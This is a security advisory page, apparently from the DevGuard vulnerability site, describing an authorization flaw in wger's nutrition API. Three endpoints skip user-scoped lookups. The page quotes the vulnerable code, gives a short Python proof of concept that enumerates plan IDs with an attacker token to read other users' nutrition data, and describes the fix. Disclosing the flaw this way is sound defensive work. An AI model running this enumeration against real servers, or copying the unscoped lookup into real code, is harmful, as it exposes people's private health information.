Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-g8gc-6c4h-jg86

MediumCVSS 4.3 / 10
Published Feb 26, 2026·Last modified Apr 15, 2026
Affected Components(0)

No affected components available

Description

Summary

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:

  • Daily caloric intake
  • Protein, carbohydrate, fat, fiber, and sodium intake
  • Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

Risk Scores
Base Score
4.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.

Threat Intelligence
4.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.26%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard